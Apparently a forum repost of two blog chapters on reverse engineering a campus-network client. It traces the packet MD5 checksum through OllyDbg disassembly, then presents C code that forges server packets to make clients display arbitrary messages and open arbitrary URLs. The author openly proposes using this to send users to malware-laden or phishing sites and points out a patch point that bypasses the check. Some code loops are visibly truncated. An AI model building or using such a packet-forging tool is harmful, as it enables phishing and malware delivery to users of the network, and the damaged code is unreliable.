能力值:
( LV13,RANK:320 )
6 楼
原文来自Tracy'Blog--【校园网那些事(八) 】
Chapter 5——校验码-揭秘MD5算法
上章节中大概的分析了下我们所接收到的数据包。并单步跟踪了程序处理数据包的整个流程,之后我们发现,程序大概做了如下的事情:
1、取第一位判定数据包功能类型。(以下所说的数据包,皆是指解密后的数据包)
2、取第二位得到数据包总长度。
3、取每个功能代码位(即我们上章节中分析出来的08、09、0A、0B、0C、0D),按相应的功能代码对其后跟随的内容进行处理。
A、对08,跳转到时间判定处,对比数据包中包含的时间与拨号上网时间。若不同,则丢弃数据包。
B、对其他的功能代码位大致都是,取其后跟随的字符减去2得到内容长度。再利用长度和起始地址将功能位对应的内容复制到内存其他位置,供程序调用。(如,将要弹出的消息保存到某一地址,调用时,直接先push此地址。)
那么,所有的都分析完了后,我们发现,程序并没有对数据包的第3-18位进行任何操作。难道,这16个字符是没有用的?等等,16个字符,十六个字符你能想到哪些呢?
嗯,反正,我的第一反应就是MD5(可能是早年拿站留下的阴影吧,注入后得到的大多是16位)。为了证实我们的想法,用peid对已脱壳的程序用算法分析插件进行分析,结果如下。
那就是说,我们又猜对了,的确是MD5,但是,问题又来了,他是对什么内容进行的哈希呢?对整个数据包?但这16个字符原本就是在数据包里面的啊。对数据包中的某一个部分?还有就是,这16个字符是用来干嘛的呢?
那么,我们还是首先来了解下MD5吧。
Message Digest Algorithm MD5(中文名为消息摘要算法第五版)为计算机安全领域广泛使用的一种散列函数,用以提供消息的完整性保护。MD5的典型应用是对一段信息(Message)产生信息摘要(Message-Digest),以防止被篡改。
因为MD5是不可逆的,不能够还原出真实密码,所以,把它说成加密算法也不太合适(为此在复试的时候被导师批过)。
那,从上面的简介我们可以看出,它的典型应用就是对一段信息进行信息摘要,以防被篡改,这个功能可能就是我们今天遇到的问题了。同时呢,你可能会想,既然它不能逆向解密出原文本,那它是如何在网站上实现密码验证的呢?很简单,密码通过MD5散列后,得到16字节或者32字节散列值,再与数据库中保存的16或32位散列值进行对比。为了安全考虑,数据库中保存的密码绝对不能是明文的,而是在你设置密码的时候,通过MD5将你的密码MD5值写入数据库。而后,下次判定的时候,就对比这两个生成的散列值。
刚看了MD5的原理,接下来,我们看看,具体的算法吧。继续百度百科
对MD5算法简要的叙述可以为:MD5以512位分组来处理输入的信息,且每一分组又被划分为16个32位子分组,经过了一系列的处理后,算法的输出由四个32位分组组成,将这四个32位分组级联后将生成一个128位散列值。 在MD5算法中,首先需要对信息进行填充,使其位长对512求余的结果等于448。因此,信息的位长(Bits Length)将被扩展至N*512+448,N为一个非负整数,N可以是零。填充的方法如下,在信息的后面填充一个1和无数个0,直到满足上面的条件时才停止用0对信息的填充。然后,在这个结果后面附加一个以64位二进制表示的填充前信息长度。经过这两步的处理,现在的信息的位长=N*512+448+64=(N+1)*512,即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。总体流程如下图所示,表示第i个分组,每次的运算都由前一轮的128位结果值和第i块512bit值进行运算。初始的128位值为初始链接变量,这些参数用于第一轮的运算,以大端字节序来表示,他们分别为:A=0x01234567,B=0x89ABCDEF,C=0xFEDCBA98,D=0x76543210。
每一分组的算法流程如下: 第一分组需要将上面四个链接变量复制到另外四个变量中:A到a,B到b,C到c,D到d。从第二分组开始的变量为上一分组的运算结果。 主循环有四轮,以一下是每次操作中用到的四个非线性函数(每轮一个)。 F(X,Y,Z) =(X&Y)|((~X)&Z) G(X,Y,Z) =(X&Z)|(Y&(~Z)) H(X,Y,Z) =X^Y^Z I(X,Y,Z)=Y^(X|(~Z)) (&;是与,|是或,~是非,^是异或) FF(a,b,c,d,Mj,s,ti)表示 a = b + ((a + F(b,c,d) + Mj + ti) << s) GG(a,b,c,d,Mj,s,ti)表示 a = b + ((a + G(b,c,d) + Mj + ti) << s) HH(a,b,c,d,Mj,s,ti)表示 a = b + ((a + H(b,c,d) + Mj + ti) << s) Ⅱ(a,b,c,d,Mj,s,ti)表示 a = b + ((a + I(b,c,d) + Mj + ti) << s) 这四轮(64步)是: 第一轮 FF(a,b,c,d,M0,7,0xd76aa478) FF(d,a,b,c,M1,12,0xe8c7b756) FF(c,d,a,b,M2,17,0x242070db) FF(b,c,d,a,M3,22,0xc1bdceee) FF(a,b,c,d,M4,7,0xf57c0faf) FF(d,a,b,c,M5,12,0x4787c62a) FF(c,d,a,b,M6,17,0xa8304613) FF(b,c,d,a,M7,22,0xfd469501) FF(a,b,c,d,M8,7,0x698098d8) FF(d,a,b,c,M9,12,0x8b44f7af) FF(c,d,a,b,M10,17,0xffff5bb1) FF(b,c,d,a,M11,22,0x895cd7be) FF(a,b,c,d,M12,7,0x6b901122) FF(d,a,b,c,M13,12,0xfd987193) FF(c,d,a,b,M14,17,0xa679438e) FF(b,c,d,a,M15,22,0x49b40821) 第二轮 GG(a,b,c,d,M1,5,0xf61e2562) GG(d,a,b,c,M6,9,0xc040b340) GG(c,d,a,b,M11,14,0x265e5a51) GG(b,c,d,a,M0,20,0xe9b6c7aa) GG(a,b,c,d,M5,5,0xd62f105d) GG(d,a,b,c,M10,9,0x02441453) GG(c,d,a,b,M15,14,0xd8a1e681) GG(b,c,d,a,M4,20,0xe7d3fbc8) GG(a,b,c,d,M9,5,0x21e1cde6) GG(d,a,b,c,M14,9,0xc33707d6) GG(c,d,a,b,M3,14,0xf4d50d87) GG(b,c,d,a,M8,20,0x455a14ed) GG(a,b,c,d,M13,5,0xa9e3e905) GG(d,a,b,c,M2,9,0xfcefa3f8) GG(c,d,a,b,M7,14,0x676f02d9) GG(b,c,d,a,M12,20,0x8d2a4c8a) 第三轮 HH(a,b,c,d,M5,4,0xfffa3942) HH(d,a,b,c,M8,11,0x8771f681) HH(c,d,a,b,M11,16,0x6d9d6122) HH(b,c,d,a,M14,23,0xfde5380c) HH(a,b,c,d,M1,4,0xa4beea44) HH(d,a,b,c,M4,11,0x4bdecfa9) HH(c,d,a,b,M7,16,0xf6bb4b60) HH(b,c,d,a,M10,23,0xbebfbc70) HH(a,b,c,d,M13,4,0x289b7ec6) HH(d,a,b,c,M0,11,0xeaa127fa) HH(c,d,a,b,M3,16,0xd4ef3085) HH(b,c,d,a,M6,23,0x04881d05) HH(a,b,c,d,M9,4,0xd9d4d039) HH(d,a,b,c,M12,11,0xe6db99e5) HH(c,d,a,b,M15,16,0x1fa27cf8) HH(b,c,d,a,M2,23,0xc4ac5665) 第四轮 Ⅱ(a,b,c,d,M0,6,0xf4292244) Ⅱ(d,a,b,c,M7,10,0x432aff97) Ⅱ(c,d,a,b,M14,15,0xab9423a) Ⅱ(b,c,d,a,M5,21,0xfc93a039) Ⅱ(a,b,c,d,M12,6,0x655b59c3) Ⅱ(d,a,b,c,M3,10,0x8f0ccc92) Ⅱ(c,d,a,b,M10,15,0xffeff47d) Ⅱ(b,c,d,a,M1,21,0x85845dd1) Ⅱ(a,b,c,d,M8,6,0x6fa87e4f) Ⅱ(d,a,b,c,M15,10,0xfe2ce6e0) Ⅱ(c,d,a,b,M6,15,0xa3014314) Ⅱ(b,c,d,a,M13,21,0x4e0811a1) Ⅱ(a,b,c,d,M4,6,0xf7537e82) Ⅱ(d,a,b,c,M11,10,0xbd3af235) Ⅱ(c,d,a,b,M2,15,0x2ad7d2bb) Ⅱ(b,c,d,a,M9,21,0xeb86d391) 所有这些完成之后,将A、B、C、D分别加上a、b、c、d。然后用下一分组数据继续运行算法,最后的输出是A、B、C和D的级联。
看着晕么?其实我那会儿看,也看得很晕,包括看看雪的《加密解密二》上的MD5那章,发现怎么也理解不了,之后,自己跟了一遍,也就明了了,所以,咱先不着急弄清楚上面说了些什么,跟着后面的实例来看看他是怎么一步步在程序中实现的。(当然,你还可以直接下一个MD5的源代码去看,更省事~)咱们先记住,他有四大轮,16小轮。然后每次用到的M值都不同。额,在看雪看到下面这篇,貌似说的比较简单明了。
http://www.pediy.com/kssd/pediy04/kanxue202.htm
MD5算法: 第一步:增加填充 增加padding使得数据长度(bit为单位)模512为448。如果数据长度正好是模512为448,增加512个填充bit,也就是说填充的个数为1-512。第一个bit为1,其余全部为0。 第二步:补足长度 将数据长度转换为64bit的数值,如果长度超过64bit所能表示的数据长度的范围,值保留最后64bit,增加到前面填充的数据后面,使得最后的数据为512bit的整数倍。也就是32bit的16倍的整数倍。在RFC1321中,32bit称为一个word。 第三步:初始化变量: 用到4个变量,分别为A、B、C、D,均为32bit长。初始化为: A: 01 23 45 67 B: 89 ab cd ef C: fe dc ba 98 D: 76 54 32 10 第四步:数据处理: 首先定义4个辅助函数: F(X,Y,Z) = XY v not(X) Z G(X,Y,Z) = XZ v Y not(Z) H(X,Y,Z) = X xor Y xor Z I(X,Y,Z) = Y xor (X v not(Z)) 其中:XY表示按位与,X v Y表示按位或,not(X)表示按位取反。xor表示按位异或。 函数中的X、Y、Z均为32bit。 定义一个需要用到的数组:T(i),i取值1-64,T(i)等于abs(sin(i))的4294967296倍的整数部分,i为弧度。 假设前三步处理后的数据长度为32*16*Nbit 第五步:输出: 最后得到的ABCD为输出结果,共128bit。A为低位,D为高位。
带着问题,我们继续深入吧,OD载入,下断点,先发正常的数据包。上章中,我们单步后发现,数据包处理是在00408CD9处的call中,所以,我们直接先进入此call。然后F8过掉其中的每一个call,直到正常弹出消息框和网站,记录其中过掉每个call后的环节,特别是后面跟随判定跳转的call。
然后,根据唯一变量原则,我们再发送一个改动过的数据包,像上章中说的,0D改0C之类的。然后再次跟踪,继续F8步过所有的call,看条件转移,这时,我们会发现,进入00408CD9处call中的第一个jnz由原先的不跳转变成了跳转。
004090F8 |. E8 D3190000 call 1_2_9破?0040AAD0
004090FD |. 83C4 08 add esp,0x8
00409100 |. 84C0 test al,al
00409102 |. 0F84 ED010000 je 1_2_9破?004092F5
于是,我们自然的想到前,其上面的call值得怀疑。
好,我们接下来的任务就是看看这个call做了些什么。跟进去(解释就放到注释里了):
0040AAD0 /$ 8B5424 04 mov edx,dword ptr ss:[esp+0x4] ; 数据包首地址edx
0040AAD4 |. 81EC FC050000 sub esp,0x5FC ; 抬高栈顶
0040AADA |. 85D2 test edx,edx
0040AADC |. 0F848F000000 je 1_2_9破?0040AB71
0040AAE2 |. 53 push ebx
0040AAE3 |. 56 push esi
0040AAE4 |. 57 push edi
0040AAE5 |. B9 77010000 mov ecx,0x177
0040AAEA |. 33C0 xor eax,eax
0040AAEC |. 8D7C242C lea edi,dword ptr ss:[esp+0x2C]
0040AAF0 |. F3:AB rep stos dword ptr es:[edi] ; 清空堆栈
0040AAF2 |. 8B8424 100600>mov eax,dword ptr ss:[esp+0x610] ; 数据包总长度放入eax
0040AAF9 |. 8BF2 mov esi,edx
0040AAFB |. 8BC8 mov ecx,eax
0040AAFD |. 8D7C242C lea edi,dword ptr ss:[esp+0x2C]
0040AB01 |. 8BD9 mov ebx,ecx
0040AB03 |. 83C2 02 add edx,0x2 ; 加2后,就可以从第3位开始
0040AB06 |. C1E9 02 shr ecx,0x2 ; 除4,ecx用作计数器。
0040AB09 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi] ; 将内容复制到刚开辟的堆栈空间中去。用的是movs,这也是为什么上一步要将总长度除4、先给edx加2了。
0040AB0B |. 8BCB mov ecx,ebx
0040AB0D |. 83E1 03 and ecx,0x3 ; 处理当长度不是2的整数倍的情况
0040AB10 |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi]
0040AB12 |. 8B0A mov ecx,dword ptr ds:[edx]
0040AB14 |. 894C240C mov dword ptr ss:[esp+0xC],ecx ; 1
0040AB18 |. 8B4A04 mov ecx,dword ptr ds:[edx+0x4]
0040AB1B |. 894C24 10 mov dword ptr ss:[esp+0x10],ecx ; 2
0040AB1F |. 8B4A08 mov ecx,dword ptr ds:[edx+0x8]
0040AB22 |. 894C24 14 mov dword ptr ss:[esp+0x14],ecx ; 3
0040AB26 |. 33C9 xor ecx,ecx
0040AB28 |. 8B520C mov edx,dword ptr ds:[edx+0xC]
0040AB2B |. 894C24 2E mov dword ptr ss:[esp+0x2E],ecx ; 将保存到堆栈中的3-6位清零
0040AB2F |. 895424 18 mov dword ptr ss:[esp+0x18],edx ; 4,这四步刚好将数据包中3-18位保存到堆栈中
0040AB33 |. 8D54241C lea edx,dword ptr ss:[esp+0x1C]
0040AB37 |. 52 push edx
0040AB38 |. 894C24 36 mov dword ptr ss:[esp+0x36],ecx ; 将保存到堆栈中的7-10位清零
0040AB3C |. 50 push eax
0040AB3D |. 8D4424 34 lea eax,dword ptr ss:[esp+0x34] ; 堆栈中数据包的地址
0040AB41 |. 894C24 3E mov dword ptr ss:[esp+0x3E],ecx ; 将保存到堆栈中的11-14位清零
0040AB45 |. 50 push eax
0040AB46 |. 894C24 46 mov dword ptr ss:[esp+0x46],ecx ; 将保存到堆栈中的15-18位清零
0040AB4A |. E8 C1AEFFFF call 1_2_9破?00405A10
0040AB4F |. 83C40C add esp,0xC
0040AB52 |. B9 04000000 mov ecx,0x4
0040AB57 |. 8D7C240C lea edi,dword ptr ss:[esp+0xC]
0040AB5B |. 8D74241C lea esi,dword ptr ss:[esp+0x1C]
0040AB5F |. 33D2 xor edx,edx
0040AB61 |. F3:A7 repe cmps dword ptr es:[edi],dword ptr ds:[esi]
0040AB63 |. 5F pop edi
0040AB64 |. 5E pop esi
0040AB65 |. 5B pop ebx
0040AB66 |. 75 09 jnz short 1_2_9破?0040AB71 ; 这个跳转作为设置al的,可以作为去除MD5校验位处
0040AB68 |. B0 01 mov al,0x1
0040AB6A |. 81C4 FC050000 add esp,0x5FC
0040AB70 |. C3 retn
0040AB71 |> 32C0 xor al,al
0040AB73 |. 81C4 FC050000 add esp,0x5FC
0040AB79 \. C3 retn
所以,瞬间0040AB4A处的call,就显得“高大”了起来。其中必有蹊跷,我们跟进去看看。还有一点值得怀疑的是,他为什么要把3-18位清零呢?难道是对清零后的数据包进行MD5,然后将生成的值与原数据包的3-18位进行比对?应该是这样的,那,我们直接去网上找了一段代码,然后对这个清零后的数据包做一次MD5,可得到的结果明显不是我们想要的(时间关系我这里就不演示了,不例证了),这该如何是好呢?也罢也罢,我们还是继续调试吧,或许进行MD5的并不是我们的数据包呢。恩,继续跟进,这里有一个小技巧(当我们看到如下所示有多个指定地址的call时,我们可以直接enter进去,看看缘由)。
当看到的都是一些系统调用和retn时,就可以果断选择过掉这个call了,如下图。
于是,我们的第一个call,直接pass掉。
我们直接F4到第二个call上,enter看到了如下代码:
004064F0 /$ 8BD1 mov edx,ecx
004064F2 |. 57 push edi
004064F3 |. B9 10000000 mov ecx,0x10
004064F8 |. 33C0 xor eax,eax
004064FA |. 8D7A04 lea edi,dword ptr ds:[edx+0x4]
004064FD |. C702 B00D4300 mov dword ptr ds:[edx],1_2_9破?00430DB0
00406503 |. F3:AB rep stos dword ptr es:[edi]
00406505 |. 8942 48 mov dword ptr ds:[edx+0x48],eax
00406508 |. 8942 44 mov dword ptr ds:[edx+0x44],eax
0040650B |. C7424C01234>mov dword ptr ds:[edx+0x4C],0x67452301
00406512 |. C742 50 89ABC>mov dword ptr ds:[edx+0x50],0xEFCDAB89
00406519 |. C742 54 FEDCB>mov dword ptr ds:[edx+0x54],0x98BADCFE
00406520 |. C742 58 76543>mov dword ptr ds:[edx+0x58],0x10325476
00406527 |. 8BC2 mov eax,edx
00406529 |. 5F pop edi
0040652A \. C3 retn
里面并没有call,但是呢,出现了012345678ABCDEFFEDCBA9876543210。还记得前面百度百科里说的初始链值(幻数)么?就是他了。由于没有其他的内容,我们可以选择不进行跟踪。暂时看看它放到哪里去了就行。本程序中将初始链值放入00F2F0D 处。
接着看第三个call,发现其中还是不同的,有那么两个call:
……
0040664F |. E8 7CF4FFFF call 1_2_9破?00405AD0 ; \1_2_9破?00405AD0
00406654 |. 8BFD mov edi,ebp
00406656 |. 8D753F lea esi,dword ptr ss:[ebp+0x3F]
00406659 |. 8B6C24 18 mov ebp,dword ptr ss:[esp+0x18]
0040665D |. 3BF5 cmp esi,ebp
0040665F |. 731A jnb short 1_2_9破?0040667B
00406661 |> 8B5424 14 /mov edx,dword ptr ss:[esp+0x14]
00406665 |. 8BCB |mov ecx,ebx
00406667 |. 8D4432 C1 |lea eax,dword ptr ds:[edx+esi-0x3F]
0040666B |. 50 |push eax ; /Arg1
0040666C |. E8 5FF4FFFF |call 1_2_9破?00405AD0 ; \1_2_9破?00405AD0
00406671 |. 83C6 40 |add esi,0x40
00406674 |. 83C7 40 |add edi,0x40
00406677 |. 3BF5 |cmp esi,ebp
00406679 |.^ 72 E6 \jb short 1_2_9破?00406661
而且,你会发现,这两个call居然是调用一个函数。那么我们enter进入00405AD0,看看它是干嘛的(用enter进入,Alt+c返回当前执行处)。
看到有下面摸样的代码:
00405B2C |. 8D8C0178A46A>lea ecx,dword ptr ds:[ecx+eax+0xD76AA478]
等等,D76AA478?不就是我们前面原理里面的FF(a,b,c,d,M0,7,0xd76aa478)中的么?于是,我们可以判定, 00405AD0处的函数是进行MD5运算的。其中必定包含4大轮16小轮全部算法(数了下类似上面的代码总共64个,也就证实了我们的猜想)。将其生产的128位结果用作下一512位数据分组的初始链值。那,照这么说,在0040664F处call后面的种种判定,必然是为了看看整个数据包被分成了多少个512位的分组,然后有多少个分组就进行多少次循环咯。最终输出的4组32位链值,结合起来就是最终的MD5值了。
嗯,我们再来就先不进这个call了(因为在调试的时候,F7跟入只是为了更好的确定这个call的作用,既然我们现在知道了这个call的作用了,我们也就不用再去单步调试了)。
我们数据包总长度为B8,化作10进制是184字节。也就是1472位。除以512,等于2,余数为448。瞬间恍惚了,还记得原理里面说的么?要进行填充,使其位长度与512求与等于448。这里居然就刚好~~~然后,通过看雪中发的那个帖子,当求余结果刚好为448的时候,需要再增加一个512分组,并且,从448那里开始一直用100000填充,到最后八个字节(64bits)再用数据长度填充。
单步后,发现正如我们推测那样,第一个call是用来执行对前512位操作的,要是长度小于等于512,则只要进行着一步就行了,后面的循环就是其他对剩余的各512位分组操作了。在这里,我们发现,也就只循环了一次,所以,我们还剩448位没进行处理。
继续单步跟踪下去。看看有没有其他的发现。
返回后来到前面图中的第四个call处:
00405A60 |. E8 1B0B0000 call 1_2_9破?00406580 ; \1_2_9破?00406580
还是先enter键进去看看:
00406580 /$ 83EC 08 sub esp,0x8
00406583 |. 8D4424 00 lea eax,dword ptr ss:[esp]
00406587 |. 56 push esi
00406588 |. 8BF1 mov esi,ecx
0040658A |. 57 push edi
0040658B |. 6A08 push 0x8
0040658D |. 8D7E 44 lea edi,dword ptr ds:[esi+0x44]
00406590 |. 57 push edi
00406591 |. 50 push eax
00406592 |. E8 99FFFFFF call 1_2_9破?00406530
00406597 |. 8B07 mov eax,dword ptr ds:[edi]
00406599 |. B9 38000000 mov ecx,0x38
0040659E |. C1E8 03 shr eax,0x3
004065A1 |. 83E03F and eax,0x3F
004065A4 |. 83F8 38 cmp eax,0x38
004065A7 |. 72 05 jb short 1_2_9破?004065AE
004065A9 |. B9 78000000 mov ecx,0x78
004065AE |> 2BC8 sub ecx,eax
004065B0 |. 51 push ecx
004065B1 |. 6820C94300 push 1_2_9破?0043C920
004065B6 |. 8BCE mov ecx,esi
004065B8 |. E8 33000000 call 1_2_9破?004065F0
004065BD |. 8D4C24 08 lea ecx,dword ptr ss:[esp+0x8]
004065C1 |. 6A08 push 0x8
004065C3 |. 51 push ecx
004065C4 |. 8BCE mov ecx,esi
004065C6 |. E8 25000000 call 1_2_9破?004065F0
004065CB |. 8B7C24 14 mov edi,dword ptr ss:[esp+0x14]
004065CF |. 8D564C lea edx,dword ptr ds:[esi+0x4C]
004065D2 |. 6A10 push 0x10
004065D4 |. 52 push edx
004065D5 |. 57 push edi
004065D6 |. 8BCE mov ecx,esi
004065D8 |. E8 53FFFFFF call 1_2_9破?00406530
004065DD |. 8BC7 mov eax,edi
004065DF |. 5F pop edi
004065E0 |. 5E pop esi
004065E1 |. 83C4 08 add esp,0x8
004065E4 \. C2 0400 retn 0x4
又发现了4个call,其中的第三个和第四个call为:
……
004065B8 |. E8 33000000 call 1_2_9破?004065F0
……
004065C6 |. E8 25000000 call 1_2_9破?004065F0
怎么看起来那么眼熟呢?哦。004065F0不就是刚刚我们才分析用来进行MD5散列的函数么。那就是说,00405A60处的call就是对剩余的448个字节进行处理的。
那,我们且来看看它是怎么处理的吧。F7进入。跟到这里时,我们发现
传入的arg1,就是我们接下来要处理的64个字节。也就对应于数据包中最后56个字节链接上1000000000,这在原理中也说过了。 我们知道00405AD0是用来进行MD5的,所以,直接F8步过。
接下来的跳转成功跳过,而后,进入第四个call,同样来到0040664F的时候,堆栈和数据窗口如下:
说明了什么呢,是按照前面的原理来的。
之后我们来到
看到edx中保存的地址处对应的16个字节就是我们数据包中的3-18位,根据刚才的跟进也可以看到,他是在程序中生成的,而不是从数据包中复制过来的。
接下来的循环,是将这个生成的数值复制一下,结果如下:
为什么要这么做?可能是为了方便对比吧。接下来我们就看看对比处在哪。经历各种retn后,来到:
0040AB61 |. F3:A7 repe cmps dword ptr es:[edi],dword ptr ds:[esi]
这句代码,就是用来对生成的校验码进行对比的。而下面的那句jnz则可用做爆破点。(如果你想逐个研究数据包中每个功能的作用的话)
至此,整个16字节校验码分析完毕。
其实吧,在以前破解这个客户端到写这篇文章之前,我一直以为它用的是变形MD5加密,以至于我敲了很多变形md5加密,之后,今天一调试,发现是正常的MD5算法。
那,是什么误导了我呢?分析了下以前写的源代码,大概原因有两点:
1、 不知道MD5算法在当求与结果大于等于448时的处理情况。原理没弄清楚。
2、 当时用的是网上下载的一段MD5源代码,我放上数据包后,发现的到的结果不正确。(当然,也有可能是我没用好源代码)
总之,被自己骗了近一年了。既然说到变形MD5,也来聊聊什么是变形MD5吧。记得在看雪上看过一篇介绍变形MD5文章,大概有三种:
1、 改变初始幻数(0123456789ABCDEF那个)
2、 改变填充方式。如100000改为110000等。
3、 改变算法中用到的Mj后的数的值。(如FF(a,b,c,d,M0,7,0xd76aa478)中的0xd76aa478)
好吧,就写到这里了,后面大概也就还剩一个功能实现,和一个系统的编写,以及个人总结了。大概就两三章节的样子吧。
--Tracy 2013/11/17
能力值:
( LV13,RANK:320 )
7 楼
Chapter 6——数据包生成器 有了上面的分析基础,我们算是对接收到的数据包的功能和结构了解的透彻了,那么,下面要做的自然是能够让客户端弹出我想弹出的网站和消息内容。
我这里主要用c实现的,很少敲代码,可能一些变成习惯和风格都不好,也希望大家给点建议和提醒,共同进步。
我们要做的第一步便是去构造整个数据包的框架:(用前面的一张图来说明)
第1位是可选的:04,06,C8,CA 第2位是整个数据包长度,在构造好后数据包后填写 3——18是生成的16位校验码 19——25由于我只要实现弹出窗口,所以,这里用原来的数值 26——44:时间(控制位和长度放到19-25中了,因为它们的值是不会变动的) 45:消息控制位 0C 46:消息的长度n+2 47——(46+n):要显示的消息 47+n:网址控制位 0A 48+n:网址长度 m+2 49+n——48+n+m:网址内容 49+n+m——61+n+m:固定不变的信息(包含下一个网址的控制信息10) 62+n+m:第二个网址长度 l+2 63+n+m——62+n+m+l:第二个网址内容 按照上面的规则,我们可以定义出一个大体的框架了,本想用结构体来定义的,可考虑到结构体需要考虑内存对齐,以及字符串‘\0’结尾不好处理。于是还是老老实实的用char型来拼接出我们想要的数据包吧(当然,那你可以有更好的办法,也希望你分享下~)
于是:
义两个全局变量:
//the global var
char msg_tim[19];
// 19位时间信息,格式为:2012-11-26 02:30:07
char message[500];
// 所有字符
然后,把前面的长度为定值的内容先制定好,内容变化的地方用0x00代替。
char msg_0[52]={
0X04,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X09,0X06,0X01,0X00,0X00,0X00,0X08,0X15,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X0A,0X03,0X31,0X0B,0X03,0X30,0X0C};
/*总共51位 1:总长度 2-17:校验码 26-44:时间 */
中间的49+n+m——61+n+m,也先定下来。
char msg_con2[13]={0X0E,0X06,0X20,0X03,0X00,0X00,0X0E,0X06,0XDC,0X05,0X00,0X00,0X10,};
后面就是处理3个输入的信息了。
定义三个临时变量来接受输入信息:
char tem1[200]={'0'};
char tem2[200]={'0'};
char tem3[200]={'0'};
然后,再用如下的检测输入方式来进行输入。消息内容、网址,都是这个操作。
while((tem1[i++] = getchar()) != '\n' && i < sizeof(tem1));
tem1[i - 1] = '\0';
msg_msg=tem1;
len1 = strlen(tem1)+2;
tem = (char)len1; //tem 为 asc
message[52]=tem; // 第52位 长度
此后,将出了16位校验码和19位时间的数据连接起来。
//////////////////////////////////////连接
for (i=0;i<52;i++)
{
message[i]=msg_0[i];//将控制位放入全局变量message中用于生成模板
}
for (i=0;i //将用户输入的信息放入全局变量message中用于生成模
{
message[53+i]=msg_msg[i];
}
message[51+len1]=msg_con1[0];//将控制位放入全局变量message中用于生成模板
for (i=0;i
{
message[53+len1+i]=msg_url1[i];//将用户输入的网址1放入全局变量message中用于生成模
}
for (i=0;i<13;i++)
{
message[51+len1+len2+i]=msg_con2[i];//将控制位放入全局变量message中用于生成模板
}
for (i=0;i
{
message[52+len1+len2+i+13]=msg_url2[i];//将用户输入的网址2放入全局变量message中用于生成模
}
len=len1+len2+len3+63;//得到总长度
tem = (char)len;
message[1]=tem; //将总长度数据放入数据包中
return 0;
}
再之后,就是按格式生成时间了。
char* msg_time()
{
char temp[5];
int tem;
time_t timep;
struct tm *p;
time(&timep);
/* address with the data */
p=localtime(&timep); /*取得当地时间*/
//gain the year
tem=p->tm_year+1900;
sprintf(temp, "%d", tem);
strcat (temp,"-");
strcpy (msg_tim,temp);
//cat with the month
tem=p->tm_mon+1;
sprintf(temp, "%d", tem);
strcat (temp,"-");
strcpy ((msg_tim)+5,temp);
//cat with the day
tem=p->tm_mday;
sprintf(temp, "%d", tem);
strcpy ((msg_tim)+8,temp);
strcat (msg_tim," ");
/* address with the time */
tem=p->tm_hour;
sprintf(temp, "%02d", tem);
strcat (temp,":");
strcpy ((msg_tim)+11,temp);
//hour
tem=p->tm_min;
sprintf(temp, "%02d", tem);
strcat (temp,":");
strcpy ((msg_tim)+14,temp);
//min
tem=p->tm_sec;
sprintf(temp, "%02d", tem);
strcpy ((msg_tim)+17,temp);
printf("%s\n",msg_tim);
return 0;
}
这样,我们还剩下16位MD5的校验码没放上去了。到现在,可以生成了。
前面章节也说过,我用的那套从网上down下来的MD5算法并没有生成与客户端一致的校验码,还导致我一直以为是变形加密来着。我也没怎么去研究那套源代码,而是,直接自己写了个填充函数,在进行它的算法之前,先把所有信息都填充好。如下:
先定义好填充数据包:
static unsigned char PADDING[64] = {
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
index = len % 64; //获得余数
if (index<56)
{
for (i=0;i<56-index;i++)
msg_in[len+i]=PADDING[i];
len=len+i;
msg_in[len]=*(char *)&tem;
msg_in[len+1]=*(1+(char *)&tem);
for (i=0;i<6;i++)
{
msg_in[len+2+i]=PADDING[2+i];
}
len=len+2+i;
}//当余数小于56时,用10000补充,最后8字节用需加密数据包的长度进行填充
if (index>=56)//当余数大于等于56时,用10000填充满此64字节。而后,再开新建一个64字节数据,用0000填充,最后8字节填充上数据包长度
{
for (i=0;i<64-index;i++)
{
msg_in[len+i]=PADDING[i];
}
len=len+i;
for (i=0;i<56;i++)
{
msg_in[len+i]=PADDING[2+i];
}
len=len+i;
msg_in[len]=*(char *)&tem;
msg_in[len+1]=*(1+(char *)&tem);
for (i=0;i<6;i++)
{
msg_in[len+2+i]=PADDING[2+i];
}
len=len+2+i;
}
这样的生成的数据包,就可以是我们程序能够正常处理的数据包了。
接下来,我们要测试下,也就是对程序发送,看能不能弹出我们想要弹出的对话框啊,网站之类的,于是,我们还要对数据包用程序自带的加密算法加密一次。如下:
unsigned char code (int lenth,unsigned char* pwd)
{
int i=0; //定义两个变量
char tmp[2]={0}; //临时缓存存放点
unsigned char n; //定义为无符号字符型
for (i=0;i
{
n=(((((((((pwd[i]>>2)&0X20)|(pwd[i]&0X40))>>2)|(pwd[i]&0X20))>>1)|(pwd[i]&2))>>1))|(((pwd[i]&0X1C)|(pwd[i]<<5))<<2); //密码算法核心
sprintf(tmp,"%02X",n); //将得到的结果转换为16进制
msg_in[i]=*(char *)&n;
}
return 0;
}
然后,我们试着对去掉时间校验的客户端发送一次,看看结果:
OK,搞定了。
既然能够弹出想要的消息框和内容,那,我们可以利用这个做什么呢?让他们打开挂马的网站?让他们打开钓鱼网站?还是刷刷自己空间或者博客的流量?这个就随你了~
其实,你还分析下,指不定这个程序还提供在线更新功能,直接从某个ip下载一个exe然后自动安装运行呢~直接相当于下载者了~具体的,也没有去继续分析了。有兴趣的自己再去研究吧。
于是,我们剩下的问题就是:如何实现全网控制?
且看下回分解。
——Tracy 2013-11-18